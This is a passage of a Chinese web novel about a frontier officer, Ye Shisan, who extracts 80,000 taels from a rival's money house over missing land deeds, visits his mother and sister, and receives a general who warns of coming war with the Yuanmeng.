说完,周敬堂盯着叶十三的脸,又道:“要不,按利息加倍赔偿叶千户,六十两银子的息钱,让钱庄拿出五倍的赔付给叶千户,这三百两银子,可是不少了。”
这话没错!
三百两银子是不少,叶十三一月的饷银,也才五十两银子。
这三百两银子的赔付,够抵他半年的饷银收入了。
“周大人真会说笑!”
叶十三站了起来,双手背在身后,在地上来回踱着步子,缓缓又道:“质押文书,还在我的怀里揣着,那可是白纸黑字签的协定,周大人应该识字,不妨把钱庄的那一份拿出来仔细读读?”
此言一出,周敬堂面颊一抽,接着又是一阵窒息。
要是按文书协定的条款,两千亩田产地契,质押出去的两万两银子,就要翻四倍给客户赔偿。
也就是说,拿不出两千亩地契的质押物,钱庄就得赔八万两银子给叶十三。
八万两?
那银子得用车拉。
“叶千户,你我各让一步,请换个地方说话?”
周敬堂稳了稳神,强按着心头的怒火,再次脸上堆起了笑。
叶十三半眯着眼睛,瞥了一眼地上瑟瑟发抖的贾迎福,漫不经心地说道:“钱庄的买卖,难道要换到衙门去说不成?”
“本官正有此意!”
周敬堂傲然挺胸,面色随即阴冷下来。
叶十三压根就不受这等威胁,沉下脸来冷声说道:“按规矩办事,哪怕走到军部,那也是钱庄该有的担当,周大人要是一味偏向四通钱庄,小的就是走到天边也不怕。”
看来,此事没得商量。
此言一出,周敬堂面颊又是一阵急抽。
思忖片刻,咬牙道:“既然叶千户如此固执,那么好了,押贷的两万两银子,本钱庄也不要了,可好?”
草!
两万两银子就想打发老子?
还真会避重就轻,老子今天就吃定你这鸟人了。
叶十三嘴角一拧,固执道:“还是按规矩办吧!”
按规矩?
这四通钱庄弄丢了客户的质押物,那就得赔偿八万两银子给客户。
这一条,那可是写进质押文书里的,双方都按了印的。
在周敬堂的地盘上,谁敢老虎的嘴上硬拽胡须?
只有叶十三这个奴籍兵卒,没有他不敢干的事,何况他还占理。
“见好就收吧!”
周敬堂眼中寒芒顿现,声音冷到了极点。
可叶十三非但不吃这一套,而且还催促道:“还银子是定了期限的,差一个时辰都按死当算,周大人如此磨蹭,难道小的就该等下去?”
扯皮的话,说多了都是白搭,周敬堂面色陡变,怒道:“你如此纠缠,本官可判你敲诈地方商户,镇衙门就可治你的罪,用不着移交军部。”
你娘个蛋!
还治老子的罪?
老子今天就盯上四通钱庄这块肥肉了。
叶十三脸上的笑意,淡淡冷了下来。
随着周敬堂陡然骤变的态度,十来个衙门兵卒一下子就围了过来。
“姓叶的,本官劝你还是识相一点好,两万两银子,已经不少了!”
“周大人说笑了!”
叶十三转过身来,淡淡说道:“芦河湾村远离边防岘口,是临近村子中最安全的区域,这良田价格,按行情也是二十两银子一亩,四通钱庄丢了押贷的田产地契,就是按市场价算,也得拿出四万两银子才是。”
“何况四通钱庄违约,更是二倍赔偿,得给小的八万两银子,周大人,难道您不知道这规矩?”
叶十三又补了一刀,摆明了非八万两银子不可。
此言一出,周敬堂直接变脸,怒道:“来人,将这狂徒拿下!”“是!”
十几名衙门兵卒,纷纷抽出佩刀,齐刷刷把叶十三围在中间。
“看来,四通钱庄这是要耍赖了!”
叶十三笑了,接着说道:“而且,周大人铁了心的要昧掉这笔钱了?”
话音一落,钱庄外面冲进十一个兵卒来,手中佩刀,直接指向周敬堂的咽喉。
“大胆!”
周敬堂万没想到,叶十三带来的这些兵卒,敢向他这个副万户亮兵刀?
怒火中烧的周敬堂,霎时就对带头的吴六子吼道:“你们可知本官是谁?”
“老子管你是谁?”
话刚出口,就被吴六子一张嘴怼了回去。
“谁要是企图谋害千户大人,老子先宰了他!”
面对堂堂副万户,身为一个小小甲正的吴六子,脸上居然没有半点怯意,继续说道:“老子只听千户大人的命令,谁敢乱动,老子就砍谁!”
十名骑兵探马,更是眼露寒芒,完全一副冷血样。
在双方兵士的对峙中,周敬堂的额头开始冒汗,看势头,眼下要是不拿银子出来,自己怕是无法走出四通钱庄。
这一刻,他后悔了。
后悔来的时候,没带足够的人马。
像叶十三这种亡命徒,做事可是不计后果的。
刘正尧的死,就是个例子。
“好,够胆!”
周敬堂眼中的火焰,在杀气爆棚的对峙中,慢慢矮了下去,道:“姓叶的,今天的事,你可给本官记住了!”
说完,把头一转,冲着地上趴着的掌柜贾迎福怒道:“混账东西,还不快去拿银票?”
叶十三笑了,压低了声音说道:“早该这样多好?还不伤和气,那些田产,可是北防军边城驻军口粮的来源之一,没了口粮,谁给朝廷拼命戍边?”
说完,叶十三摆摆手,语重声长地又道:“周大人啊周大人,不是小的跟您过不去,而是大人您跟朝廷过不去,和北防军过不去!”
叶十三得了八万两银子,还给周敬堂扣了一顶天大的帽子。
第69章 拖下去,杖毙
八万两银子啊!
出了四通钱庄,直奔上次吃炖羊肉的馆子坐了,马成都没回过神来。
这一通操作之下,八万两银子就这样到手了?
没杀人,也放火,更没半夜偷袭,乖乖的就让四通钱庄狠出了一次血。
要知道,四通钱庄背后的东家,那可是堂堂副万户,镇衙门的镇首周敬堂大人。
马成清楚的记得,三天前验过地契后,是贾迎福亲自把两千亩田产的地契,装入匣子后上了锁,然后把钥匙亲手归还叶十三。
今天这赎当的时候,眼睛一眨,老母鸡变鸭!
原本码放得整整齐齐的地契,却变成了一坨干透了的牛粪。
在边城,牛粪虽然好东西。
但它再好,也无法和价值万两银子的地契平起坐,那匣子,可是檀木做成的。
牛粪的作用,只能当肥田的肥料,当烧火取暖的燃料,但今天这坨牛粪,却让叶十三狂赚了八万两银子。
阿这坨粪的牛,真它娘的是头金牛。
只有金牛,才能阿出白花花是银子。
是叶十三卖通了贾迎福?
这不可能,绝对不可能,贾迎福傻得不可能不要命的程度。
“还愣着干嘛?”
叶十三狠瞪马成一眼,嗔怒道:“还不快给弟兄们点羊肉去?”
还是吃肉要紧。
马成心头一凛,慌忙就奔向后堂,亲自督促店家上最好的羊肉。
不多时,热腾腾,香喷喷的羊肉,大盆大盆地端上了桌。
碗口大的白面馒头,更是成筐地往这边抬。
“都别给老子客气,放开肚皮吃,老子有的是银子!”
这架势,绝对暴发户。
叶十三大手一挥,率先抓起一块油汪汪的羊肉,让来时的路上光会吹牛的兵士们开吃。
十名兵士的惊讶,毫不亚于马成。
只有吴六子没心没肺,低着头把脸埋在眼前的海碗中,只顾挑最肥的羊肉往嘴里海塞。
“大人,这羊肉可真香,小的没想的羊肉会这么香?”
“哈哈哈,你小子,说实话了吧?来的路上还吹牛一次能吃三斤,这么看来,你小子压根就没吃过羊肉!”
“别笑话人家了,就你,也不见得吃过几次。”
“唉!实话说吧!从小到大,我还真没有这么放开肚子吃羊肉,只是尝过一两次而已。”
“要不是跟着千户大人,我都忘了炖羊肉是什么味了!”
“一帮子吹牛的东西,我还以为你们之前没少吃羊肉呢?”
“……”
吃得满嘴流油的骑兵探马们,七嘴八舌地都冒出了实话。
其实他们以往,也没有羊肉吃的。
吃肉,对穷人来说,永远都是可望而不可及的。
就是平时有机会吃肉,那也没有像现在一样想吃多少就吃多少。
直到大家都打着饱嗝摸起了肚子,叶十三这才发现,就他们这一十三人,这一顿差不多吃掉了一只肥羊。
吃羊肉,尤其是肥膘,那得多喝浓茶解腻。
在喝着茶的空档中,叶十三又拿出一张百两银票,道:“老规矩,付完账,剩下的让掌柜的找现银。”
待马成付完账回到桌旁,叶十三把碎银子在桌上扒拉一阵,望着眼前的十个骑兵探马,道:“今天老子高兴,每人赏银五两,你们出去后想买什么就买什么。”
发赏钱了?
这可不是饷银?
都听得明明白白,叶十三是的是每人赏五两银子,而不是说预支一个月的饷银。
“马成,你带上他们,给你们半个时辰的时间,顺便再给营房采购一些盐巴和茶叶,茶叶要好一点的。”
马成一脸堆笑,带着同样喜上眉梢的十个骑兵探马就要去镇街上自由挥霍一把了。
“记住了,不能惹事,但事倒找上门,也不要给老子怕事。”
此言一出,大家都懂。
叶十三就是要让他们狠起来,像狼一样才不会被人欺负。
“知道了大人。”
马成躬身一礼,点点头就出了馆子。
此时,桌旁只剩叶十三和吴六子两人。
“给,这是你的一份,拿好了,家里肯定是缺吃少喝的,天冷了,该添衣就添,该存粮就存,万一打起仗来,我们都是顾不上家的人了。”
叶十三说着,从银票中翻出一张一百两的,又摸出两锭各十两的现银往吴六子眼前一推。
“大人,使不得啊!”
望着眼前的银票和现银,吴六子心头顿时起了波澜。
从军几年,也就是拿每月五两饷银。
而这五两银子,不是被克扣掉一二两,就是被拖欠几个月才发到手。
但眼下叶十三给他的,却是他这辈子都没见过的数量。
这笔赏钱,对他来说就是一大笔财富。
“拿着,老子不喜欢扭扭捏捏的人。”
叶十三眼睛一瞪,吓得吴六子浑身一哆嗦。
不过,吴六子也不傻,神情严峻地小声说道:“大人,那事,小的已经烂肚子里了。”
“既然已经烂肚子里了,为何又要说出?”
叶十三又是一怒,吓得吴六子赶快抓起桌上的银票和现银揣进怀里。
“这就对了!”
叶十三笑了,吴六子面颊一抽,也跟着笑了。
不多时候,马成他们回来了。
除了营房所需的盐巴和茶叶被采购了回来,其他人都两手空空,貌似没买任何东西。
叶十三心里清楚,这些兵卒们虽然得了一笔赏钱,归根结底还是舍不得乱花。
天天待在兵营训练也够烦闷的,能在镇上逛一圈,对他们来说已经就很满足了。
此时,正午已过。
“回!”
叶十三话是不多,但态度很是坚决。
一十三匹健马,马蹄扬起一片烟尘,威风凛凛地离开了通天驿镇。
……
四通钱庄,两名伙计和掌柜贾迎福抖成了一团。
“大人,小的冤枉啊!”
贾迎福声泪俱下,跪在地上双手一阵乱抓,巴不得把心肝都给掏出来证明自己的清白。
周敬堂面色黑青,对于这个掌柜,他是信得过的。
就是给他贾迎福一百个胆子,贾迎福也不敢胆大妄为到如此程度,偷梁换柱,贾迎福他还不敢。
就是贪了被质押的两千亩地的地契,贾迎福也不敢去做那些田地的主人。
要是那样,官衙一查就知。
所以,贾迎福不会把自己的脑袋别在裤腰带上来冒这个险。
两个伙计,可能性不是没有,但也不大。
除非他们被逼急了。
有什么事能逼得伙计在这质押物上作假?
赌债?
拿地契找人交易,然后拿着钱销声匿迹?
不可能,绝对不可能。
除非这些伙计一时头脑发热,但这样得来的钱,那可是有命拿,没命花。
再者,就是这三人中,其中一个被人提前卖通。
这个说法似乎成立,但又经不起推敲,因为叶十三不是本地人,没有人脉根基,只是个从内地充军而来的奴籍。
要么,就是官场上的死对头给他使绊子?
想到这里,周敬堂面色一寒。
“你两个,从实招来!”
周敬堂目光冷冷,眼里寒气逼人,紧盯着地上已经被打得半死的两个伙计说道:“是谁指使的?”
“大人啊,没人指使小的,小的真什么都不知道啊!”
“大人,装地契的匣子,小的放进柜子后再也没有动过。”
面对两个伙计的喊冤,周敬堂知道,如果背后没人指使,伙计是不会冒此大险的。
这两人之中,定会有一人对装田契的匣子做了手脚。
二人合谋的可能性,不大。
如果这二人之中没人招认?那就索性一个都不留。
八万两银子,搁哪儿都是一笔巨额财富。
就是自己不缺那八万两银子,但也咽不下这口气。
一个小小的千户,而且还是个下千户,他手下的兵卒居然敢对他这个副万户拔刀。
“拖下去,杖毙!”
想到这里,被气得面颊一抽一抽的周敬堂,终于对自己的两个伙计下了杀心。
“饶命啊大人……”
“冤枉啊大人……”
随着两个伙计被衙门的兵卒们拖了出去,喊叫声也是逐渐远了,贾迎福浑身一阵哆嗦,屎尿就顺着裤腿流了一地……
第70章 我儿可不敢乱来
“大人,既然我们到了镇上,为何不去一趟军部?”
落后叶十三半个马身,带着一肚子不解的马成,又道:“那些大人们要是知道了今天的事,说不定暗地里有多高兴的,这一下就给军部减轻了不少负担。”
“屁话!”
叶十三回头狠瞪马成一眼,怒道:“要是得知老子得了如此之多的银子,军部那些老爷们,还不眼红得把老子给吃了!”
“不过……”
叶十三想了想,放慢了马速又道:“周敬堂那老东西,这次他理亏,也绝不会去军部告老子的刁状,但背后使坏还是少不了的,老子还得防着点他。”
通过今天在四通钱庄时,从吴六子他们敢向周敬堂拔刀来看,这些人对他的忠心,已经是毋容置疑的了。
他给了这些人胆量,郑一刀又练出了这些人的杀气。
这些,都是他叶十三在黄羊岘的班底。
下千户,可领兵一千,管一千户村民。
中千户,可领兵两千,管三千户村民。
上千户,可领兵三千,管五千户村民。
就一个千户职,相互之间能有如此大的不同差距。
而周敬堂,那可是副万户职,整个镇都归他管,足足大他叶十三这个下千户三级。
好在边城是军管地带,一应事务,半数还得军部做主。
地方衙门征收的赋税,还要负担戍边军费的开支。
这要是得罪了周敬堂,以后的麻烦可真不少。
管他娘的!
叶十三肚里暗骂一句,就是有事,那也是军部在前面顶着,还轮不到他这个下千户和地方衙门交涉。
他的职责,就是辖下七个村子,十个烽火台的防务与生产。
也正是由于这一点,在何家的事上,周敬堂是插手失败。
芦河湾村,是他叶十三管辖的地盘。
“回芦河湾村!”
叶十三冷不丁一句,疾驰的马队,霎时就改变了方向,拐上一条岔道,直接向芦河湾村疾驰而去。
“娘,我听到了马蹄声,是哥哥回来了。”
刚被安顿在何家大院的彩儿,伸着两手在空中乱抓。
“胡说!”
整理着衣物箱子的叶刘氏,头也没抬地嗔怒道:“闰儿军务繁忙,眼下驻军训练正在吃紧,哪有空闲老往家中跑?”
“真的是哥哥,我听到他的马蹄声了。”
彩儿一脸兴奋,努力地捕捉着周围的一切动静。
“马儿跑动的时候,踩出的声音都是一样无二,那还能分得清是谁的马儿在跑?”
叶刘氏笑了,转头回了彩儿一句。
就在这时候,马蹄声越来越近。
“千户大人到。”
忽然,门口执勤的田兵,扯着嗓子喊了一声。
是叶十三留的几个田兵,来看守何家大院被查封的屯粮。
“真的是闰儿回来了?”
叶刘氏一怔,她完没想到,叶十三真来芦河湾村了。
“启禀千户大人,老夫人和小姐,已经被安置下来了。”
没错!
是田兵向叶十三禀报的声音。
“闰儿,真的是你?”
喜出望外的叶刘氏,不禁又拿衣襟擦起了眼角。
“哥哥!”
彩儿伸着双手,就向门口摸去。
“小姐小心,还是让民女扶着你吧!”
蔡一赶上前一步,及时地扶住了彩儿。
这要是彩儿把哪磕着碰着,她如何向叶十三交代得了?
“娘,彩儿,我回来了!”
彩儿在被蔡一一把拉住的时候,摸向门口的那只手,突然摸到一张脸上。
“哥哥?”
彩儿迅速地把另一只手,也触摸到那张突然出现在屋门口的一张脸上。
“真的是哥哥!”
彩儿又一次惊叫起来,让叶十三心头一暖。
这母女俩,就是他魂穿到此的至爱亲人。
其次,才是叶举和叶腊八叔侄。
“你声音如此之大,哥哥我在二里地外就听到了。”
叶十三笑着,伸手刮了一下彩儿的鼻梁,又道:“彩儿的耳朵灵,哥哥我的耳朵也灵,我就知道是彩儿想哥哥了,这两天一直打喷嚏!”
“傻丫头,还不让你哥哥进屋,堵在门口让你哥哥受冻?”
叶刘氏嗔怒一句,彩儿这才摸索着拉起叶十三的手往里走。
“民女见过千户大人!”
把彩儿扶到椅子上坐了,蔡一赶忙跪下向叶十三行礼。
“免礼!”
叶十三摆摆手,蔡一这又赶忙去厨房烧茶。
“娘,这芦河湾村,离黄羊岘三十多里地,相对比较安生一些,您和彩儿住这边,我也就放心多了。”
叶十三笑着,这才发现,屋子里已经燃上了木炭火。
叶刘氏点点头,说道:“听说这何家私通外敌犯了国法被抄家,如此大的一座院落,娘和彩儿有两间房子住着就足够了,不要影响了衙门的公务让你受连累。”
“娘,您莫要担心!”
叶十三笑了,低声说道:“赶明,我让二叔也回来,在这里当个管家,娘缺什么?就让二叔去办,喂马的事,就让兵卒们去干是了。”
“我儿可不敢乱来!”
叶刘氏一惊,摆手急道:“切莫忘了,我叶家还是流放充军的苦役之身,喂马好歹也是朝廷的差事,这当管家,不合规矩,要是惹了麻烦,被衙门追究下来,你也会被牵连受累的。”
叶十三知道叶刘氏的担心,毕竟,叶举是个流放的苦役。
奴籍的身份,就是一座压在他们头上的大山,也是烙在他们心头的一个耻辱。
“娘!”
叶十三的眼神,不由得冷了下来,道:“地方衙门要是敢找我的麻烦,除非是他周敬堂活腻了。”
“闰儿……”
叶十三的话,吓得叶刘氏惊叫起来,“千万不敢如此乱说,我们本是戴罪之身,切不敢对衙门不恭。”
望着叶刘氏一脸惊慌的样子,叶十三心里又是一阵难受,他知道,流放千里的充军路,让叶家人从骨头里都怕了。
活着,就是最大的奢求,谁还敢想其他的?
叶刘氏生怕叶十三闯祸,她无时无刻都在为叶十三担心。
她就这一个儿子,叶家就这一根香火。
“娘教诲得是,我时刻铭记于心。”
为了不让叶刘氏担心,叶十三做出一副洗耳恭听的样子。
坐了片刻,一碗热茶喝罢,叶十三也该走了。
把叶刘氏和彩儿安顿妥当了,他在黄羊岘也就略微放心了。
原本,他想着,军部的嘉奖到手,就在镇上买个小院,让叶刘氏和彩儿住着。
哪知道!
这军部的嘉奖,完全是打了折扣的,除一个空头的下千户军职外,再也没有实质的财物供他完成计划。
那些钱,安抚过几个手下后,他的手里已经分文不剩。
所以,撞到他刀口上的何家,就成了他带兵养家的第一桶金。
何正,何旺两兄弟,稀里糊涂就为此送掉了性命。
这俩倒霉鬼,走到投胎的路上,都不知道他们自己是怎么给让人玩死的!
第71章 纸里包不住火
四通钱庄的事,还是在通天驿镇迅速传开了。
尤其是军部一片哗然。
一个从四品官职的副万户,居然向一个奴籍的从六品下千户赔付了八万两银子。
况且,被四通钱庄弄丢的地契质押物,归属本身就饱受争议。
芦河湾村的何家,从行政归属上算,还是属于镇衙门管辖。
军部只是在军事防务上协管。
就是何家犯下滔天大罪,被砍头抄家,所查抄之物,一应归地方衙门归公。
但何家犯下的是“通敌”大罪,这就由军部处置。
查办何家,军部是知情的。
但叶十三拿被抄没的田产地契,去四通钱庄押贷,这又如何决断?
押贷之银,用以支付驻军饷银。
这个理由,也是让周敬堂低头的主要原因。
叶十三的名字,再一次在军部被提起。
谁都知道,能及时发放粮饷,已经是军部尽到最大的努力了。
叶十三的这一手,让军部在粮饷压力下,稍能舒缓一口气。
无论如何?
黄羊岘防区的粮饷,那是短期内不需要军部头疼了。
遗憾的是,这一大笔银子,直接到了叶十三的手里,这就让一些环节上白白错失了一把极肥的油水。
眼红归眼红,但也少了诸多拨付粮饷的麻烦。
……
午后时分,屯田村练兵校场。
落雁坡驻军,鹞子岭驻军,加上屯田村新建的骑兵,被整编后开始演练杀敌阵型。
从两村驻军,加上屯田村的军户田兵中间,筛选出的这四百名骑兵,就是叶十三手中的精锐。
百夫长蔡云主阵队形列阵,另一名百夫长戚虎,则负责马术训练。
马术的骑射杀技,当然是加入了叶十三的一些方式和技巧,整体上还是由戚虎负责。
郑一刀担任这四百名骑兵的刀术杀技的训练。
叶十三当然也没闲着,从三人的训练方式中,不断地找出瑕疵破绽,又设定更好的方式进行弥补。
训练期间,首先是饱饭不限,各种能吃的掺和在一起,每顿饭都能吃饱肚子。
肚子都吃不饱,还打个俅!
一小队兵马,扬起一股烟尘,从黄羊岘营房向屯田村疾驰而来。
望着不远处疾驰而来的兵马,叶十三嘴角扬起一丝不易察觉的冷笑。
你们这帮鸟人,终于坐不住了?
听到老子弄了一笔钱,这就上赶着来做主了?
不多时,兵马到了练兵校场。
是回京述职的骁骑尉大人?
当看清来人时,叶十三不觉心头一凛。
“岳大将军到!”
随行卫兵的一声高喊,又让叶十三心头一震。
岳大将军?
原来,骁骑尉大人姓岳?
大将军?
难道这回京述职一趟,军职又晋升了一级?
再看同来的随从兵将,不见之前的百夫长,而是上次前来黄羊岘颁发嘉奖的周钊将军。
这一发现,令叶十三吃惊不小。
“小的,见过岳大将军!”
叶十三快步迎了上去,站在岳佟马前单膝跪下,右拳触地就是一个军礼。
“不安分的货!一会再收拾你。”
岳佟狠剜叶十三一眼,很快就被校场上震天的喊杀声吸引了过去。
正是由于校场上喊杀震天,尘土飞扬的情况下,演练的兵士们没人注意到岳佟一行的到来。
“这是?”
周佟把震惊的目光,重新投向叶十三,道:“屯田村的军户,是你组织起来的?”
“回大人话?”
起身而立的叶十三,向周佟抱拳拱手道:“田兵只挑选出一百数,其余人马,是两村驻军中筛选出来的三百人。”
闻言之下,岳佟不可置信地看向叶十三,道:“两村驻军,兵马足有五百数,你这加上田兵才四百人数?”
嘴上如此说着,但岳佟还是被场上的气势所震撼。
这一幕,似乎勾起了他的无数回忆。
这场景,更是燃起了他曾经的那腔热血。
叶十三笑笑,并没有立即作答,上前一步拉住岳佟的马缰,试图扶岳佟下马。
“滚开,老子还没到需要人扶的程度。”
岳佟的勃然大怒,顿时就让叶十三吃了一瘪。
要不是叶十三躲得快,他拉着马缰绳的手上,就会吃岳佟的一鞭。
面上一尬的叶十三,讪笑道:“大将军小心了,要是被摔着,小的可吃罪不起!”
“哼!”
自行下了马背的岳佟,冷哼一声,甩开叶十三将要搀扶他的一只手,大步走向尘土飞扬的练兵场。
“跟上,别离太近。”
随即下了马的周钊,经过叶十三身边的时候,悄然提醒了一句。
“谢周将军,改日请您吃烤全羊。”
叶十三笑着,低声又给周钊画了个饼。
“屁话!”
周钊摆摆手,低声又道:“边城战事即发,大人从骁骑尉擢升为车骑大将军,正三品军职,此次前来,还不是你小子惹了的祸。”
车骑大将军?
正三品军职?
草,兵部尚书才是从二品,这岳佟一下子从骁骑尉直接擢升到车骑大将军,看来,边城危矣!
叶十三懂了,周钊这是在提醒他,示意不要说太多。
二人一左一右,紧紧跟在岳佟身侧。
岳佟虎目炯炯,视线紧紧跟着场上厮杀的兵士身影移动,面颊不停地抽动不已。
片刻后,岳佟猛然转身,炯炯目光看向叶十三,沉声道:“此刀术,本将看着眼熟,不知是何人操练?”
“郑一刀!”
叶十三稳若老狗,淡淡一句。
“郑毅?”
“他不是伤残了一条腿么,如何操练得了如此阵仗?”
“看场上教头身形,不似郑毅那等残疾之人的身手?”
震惊之下,岳佟一连三问。
叶十三一怔,随即又道:“是屯田村的军户铁匠,此人刀法厉害,小的让他主导操练已有时日了。”
“还真是他?”
惊讶之余,岳佟点点头,口气缓和道:“郑一刀是他的诨号,本名郑毅,曾经是本将麾下最凶悍的步军趟子手……”
草!
还真是绰号,当初老子就觉得奇怪,一个人的名字,怎能一出生就起了个“刀”字?
叶十三这下全明白了,这个郑一刀,还真是被叫得忘记了真名。
其实郑一刀自己,也忘了他叫“郑毅”的这个名字。
别人喊他郑一刀的时候,他欣然接受,从没表示过异议。
随着岳佟说话语气的缓和,叶十三悬着的一颗心,渐渐放了下来。
这老货今天亲临黄羊岘,一定是有重大的军务,而非是找他的麻烦。
果然!
岳佟挥了挥呛人的尘土,转身就向场外走去。
“传徐老六,蔡云和戚虎到签房见本将。”
临走,岳佟甩下一句,然后径直去了屯田村的签房大院。
真有大事?
叶十三心头又是一震。
召集黄羊岘防区的几个军职最高的人,这事不小。
“还不快去?别忘了叫上郑毅!”
瞥了一眼岳佟的背影,周钊又是一句提醒。
“谢周将军!”
叶十三心领神会,转头就去向马成交代几句。
作为边城戍边军队的最高将领岳佟,突然亲临黄羊岘防区,这绝不是个好的兆头。
叶十三心里想着,快步就向签房大院赶了过去。
第72章 你们当老子是傻子?
“末将等,参见大将军!”
徐老六,蔡云,戚虎,郑一刀四人,进入签房大厅,齐齐单腿跪下,右拳触地,向岳佟行了个军礼。
“都起来吧!”
岳佟摆摆手,一双眼睛,却紧盯着郑一刀的两条腿。
他看出来了,郑一刀的左腿虽然行走无碍,但还是多少有些僵硬。
“郑毅,你的腿伤?”
岳佟极力从脑海中搜寻着记忆,他清楚的记得,郑一刀的左腿,那是从膝盖以下被随军的郎中锯掉了。
这一问。
郑一刀的目眶又红了起来,赶忙拱手道:“末将的左腿,承蒙千户大人亲手做得义肢,这才行动无甚大碍,使末将还能操刀行伍。”
“你受苦了!”
岳佟感慨一句,微微颔首。
提到了叶十三,岳佟顺势把视线又转移到叶十三脸上,愠色怒道:“边区紧急,你可知道?”
“小的不知!”
叶十三摇摇头,随即又道:“但小的能预料到,倘若有大雪降下,元蒙鞑子定会犯我大夏疆土。”
“亏你还能想得到!”
岳佟狠剜叶十三一眼,复又把视线从眼前的四人脸上一一扫过,沉声又道:“元蒙使臣,在京都已经对我大夏发了通牒,大夏若不割地赔款,元蒙大军的十万铁骑就会踏遍大夏千里北漠防线。”
草!
我说黄羊岘一带怎么消停了?
吃了三次大亏的元蒙鞑子,也不见前来报复?
原来,元蒙高层,却以此为由向大夏朝廷施压。
出兵,只需找个借口而已。
他叶十三屡杀元蒙鞑子,这就是个无可挑剔的出兵借口。
难怪,岳佟一打照面,就对叶十三没个好脸看。
其实,岳佟心里更是明白,元蒙的野心,不光是让大夏割地赔款,而是力图大夏中原全境据为己有。
朝廷岂能不懂这些?
当然懂了,但朝堂派系林立,势力割据,应战派和求和派一直互不相让。
还有中立派伺机坐收渔翁之利。
若是北漠千里防线全境开战,大夏略显准备不足啊!
这一点,是大夏在北方线上的短处,更是岳佟心里的一块硬伤。
全能的将才,可战的兵士,都他娘的稀缺。
签房大厅霎时就静了下来,郑一刀面颊一阵急抖,迟疑片刻,拱手道:“启禀大将军,按理说,末将身份卑微,如此军事会议,本没有末将的一席发言之地,但末将斗胆还是要一吐而快,请大将军允许。”
“讲!”
岳佟大手一挥,只等有人先响应他方才的话。
“依末将浅见,还是大将军多年前的那句老话,兵来将挡,水来土掩,鞑子若是敢犯我土,一个字,杀!”
杀!
这老小子,还真狠着呢!
抛开徐老六这个垦区佥事不说,就蔡云和戚虎,那可是驻军的百夫长,这二人都不敢轻言开战,这个毫无军职的瘸子,充其量就是个军户,连普通的田兵都算不上。
而他,却敢在车骑大将军面前谏言开战。
“你小子如何看待?”
对于郑一刀的话,岳佟没有表态,而是把目光投向叶十三脸上。
草!
你这老货,干嘛看老子啊?
这说明,你心里还是倾向开战。
不然,郑一刀早就被你老货轰出去了。
知将莫如兵,这话还真他娘的不假,你这老货是何等德行?
老子是不知道而已,难道郑一刀不知?
瞧你那揍性!
想到这里,叶十三躬身拱手,缓缓说道:“回大将军话,小的早就想打了,要不是军纪约束,小的说不定早都把黄羊岘外百里境内的鞑子收拾干净了。”
“你还知道军纪约束?”
提到军纪,岳佟勃然大怒,吼道:“砍杀越界鞑子,乃我军守土之责,你可倒好,未经军部许可,擅自出兵元蒙境内,你可知道,这给朝廷的邦交造成多大的被动?”
终于来了!
这个问题,迟早躲不过。
岳佟这样一问,反而让叶十三心头的一块石头落地。
这些日子以来,他心里一直被这个问题像石头一样压着。
“回大将军话!”
叶十三不紧不慢,淡淡又道:“从十个烽火台到两村驻军,都面临着断炊之危,再无粮食补充,别说鞑子打过来了,我们的人不是饿死,就是逃跑,还谈何设防?”
“这就是你越境抢劫的理由?”
岳佟额头青筋暴起,怒吼着问了一句。
叶十三缓缓抬头,依然不温不火,反问道:“难道,让小的去抢军部?砸官仓?杀镇上的将领们要粮食吃?”
此言一出,蔡云和戚虎,差点就被当场吓尿。
一个下千户,只能是他几个的顶头上司,可在车骑大将军面前如此顶撞,这是找死!
“哈哈哈……”
令在场的人没想到的是,岳佟突然仰头狂笑不止,指头指着叶十三骂道:“你他娘的还真是个不怕死的货,老子都不敢干的事,全让你小子给干了。”
此言一出,为叶十三紧攥着一把汗的四人,这才偷偷地长出了一口气。
“行了!”
岳佟摆摆手,狠剜叶十三一眼,又骂道:“去,宰几只肥羊,将士们训练如此辛苦,该犒劳一下他们了。”
草!
这老货,变脸还真快?
你哪是冲着军务来的?
老子看你是馋羊肉了,知道老子抢了鞑子的牛羊,不吃老子一顿,你这老货觉得亏了不是?
宰几只肥羊犒劳训练的将士们?
没等叶十三做出应答,徐老六躬身拱手,抢先说道:“这事,末将去安排,让叶千户还是陪大将军聊聊。”
老滑头徐老六逃命一样,出了签房大厅就去安排宰羊的事。
岳佟又把目光看向周钊,冷声道:“黄羊岘防区两村驻军实际兵数不足五百,可战之兵又不足六成,你是如何巡查的?”
周钊面颊一抽,硬起头皮道:“大将军息怒,下面防区的兵数,历来都是逐级上报,军部造册后统一发放粮饷……”
这一问,纯属废话。
作为之前的骁骑尉,岳佟是最清楚这里面的弊端了。
吃空饷的现象,在任何军队都是普遍现象。
此时提出这个问题,无非就是让他这个车骑大将军在叶十三面前挽回一些颜面而已。
“这些兵力,是少了点!”
岳佟叹息一声,摇头道:“当务之急,黄羊岘防区的驻军,无论如何都得补齐一千兵数,否则战事一起,谈何防守?”
你们当老子是傻子?
叶十三心里暗骂一句,躬身拱手,道:“大将军有所不知,眼下七村,能入伍的青壮,都已经被动员起来了,不然,小的手中哪有眼下这五百之数?”
“叶千户所言不虚!”
蔡云见状,也拱手道:“新卒年龄,已经放宽到十四五岁,这才勉强凑够五百兵数。”
“自叶千户接管了我驻村驻军,弟兄们这才吃饱了饭。”
戚虎也是趁机说了一句。
沿边境线一带,百姓流离失所,被鞑子屠杀掉的,举家逃亡内地投靠亲友的不在少数。
大片田地荒芜,村子鲜见炊烟,这些,岳佟不是不知道,而是他无言面对此等境地,仅凭他也是无力改变而已。
在这种尴尬的茶话期间,炖羊肉被端上了桌。
照样是有肉无酒,军中禁酒,这是铁律。
岳佟自然有能力弄到酒,但他此行以身作则,只带了一队卫兵。
“本将以茶代酒,谢过诸位的辛苦!”
岳佟端起茶碗,端在眼睛向众人一举,又道:“我等守土有责,身为军伍,自当为大夏万千百姓舍身入死。”
说完,岳佟神情严肃,仰头把一碗茶水一饮而尽。
草!
合着这茶水是不太烫了?
“身为边兵,守土有责,末将战死沙场在所不惜!”
叶十三带头,高呼一句,也效法岳佟,将一碗已经不太烫的茶水仰起来灌入肚中。
剩下的人也纷纷响应,以茶代酒起誓。
待桌上肥嫩的羊肉吃得差不多了,又喝了几口茶水的岳佟,目光一扫眼前的将领们,缓缓说道:“惊闻元蒙高层凶相毕露,老王爷被气得夜不能寐,准备抬棺出征北漠,幸得大家规劝,这才上奏朝廷擢升本将军职,我等,不能辜负朝廷,更不能辜负老王爷厚望啊!”
第73章 这哪是兴师问罪?
老王爷?
根据前身残存的记忆碎片,叶十三在脑海中拼凑半天,这才依稀弄了个明白。
